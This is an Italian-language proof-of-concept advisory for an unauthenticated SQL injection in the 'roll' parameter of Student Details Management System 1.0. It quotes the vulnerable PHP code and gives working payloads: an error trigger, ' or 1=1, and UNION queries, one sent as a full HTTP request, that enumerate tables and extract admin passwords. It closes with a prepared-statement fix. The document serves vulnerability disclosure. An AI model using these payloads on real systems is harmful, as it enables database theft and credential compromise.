xmyronn/cve-2026-10110-sqliProof-of-concept per SQL injection non autenticata in Student Details Management System 1.0, che dimostra l'estrazione dei dati tramite UNION e il furto di credenziali.
| Campo | Dettagli |
|---|
| Prodotto | Student Details Management System |
| Vendor | code-projects.org |
| Versione | 1.0 |
| Tipo di vulnerabilità | SQL Injection (CWE-89) |
| ID CVE | In sospeso |
| Punteggio CVSS | 9.8 Critico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Autenticazione richiesta | No |
| File interessato | /SMS/index.php |
| Parametro vulnerabile | roll (POST) |
Una vulnerabilità critica di SQL injection esiste nel file index.php del Student Details Management System 1.0. Il parametro roll passato tramite richiesta POST viene concatenato direttamente in una query SQL grezza senza sanitizzazione, validazione dell'input o utilizzo di prepared statement. Ciò consente a un attaccante remoto non autenticato di iniettare SQL arbitrario ed eseguire estrazione di dati basata su UNION, scaricando l'intero database del server incluse le tabelle delle credenziali.
La vulnerabilità esiste nel modulo di ricerca studenti esposto al pubblico, senza richiedere alcuna autenticazione.
File: index.php (righe 51–59)
include('dbcon.php');
if (isset($_POST['show'])) {
$Standard = $_POST['standard'];
$RollNo = $_POST['roll'];
$sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";
$result = mysqli_query($conn,$sql);
Sia $Standard che $RollNo vengono presi direttamente da $_POST senza alcun escaping o parametrizzazione. L'attaccante controlla il parametro roll per uscire dal contesto della stringa SQL e iniettare query arbitrarie.
Navigare alla home page dell'applicazione e inserire un numero di matricola valido:
http://<TARGET>/SMS/index.php
Inserire 1001 nel campo del numero di matricola → l'applicazione restituisce normalmente i record degli studenti.
Inserire un apice singolo ' nel campo del numero di matricola e fare clic su SHOW INFO.
Risultato: MariaDB genera un errore fatale che espone la query SQL grezza e il percorso del file:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '"' at line 1 in
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59
Payload:
' or 1=1 -- -
Risultato: Tutti i record degli studenti nel database vengono restituiti senza alcun numero di matricola valido, confermando che l'iniezione è sfruttabile.
Richiesta Burp Suite:
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded
roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO
Risultato: La colonna name (posizione 3 nella UNION) riflette ogni nome di tabella in tutti i database dell'istanza MySQL — inclusi admin, global_priv, users, mysql.user e le tabelle delle credenziali di molteplici altre applicazioni installate sulla stessa istanza XAMPP.
Il dump rivela tabelle sensibili tra cui admin, users, global_priv e tbl_admin di altri database sullo stesso server. Un attaccante può estrarre le credenziali con:
roll=1' union select null,null,password,null,null,null,null from admin-- -
Combinato con l'output di errore verboso (Passo 2), viene confermata anche la divulgazione completa del percorso del file:
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php
adminUtilizzare prepared statement con parametri vincolati:
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();
Inoltre, disabilitare l'output di errore PHP/MySQL verboso in produzione impostando display_errors = Off in php.ini.
Ricercatore: Imad Alvi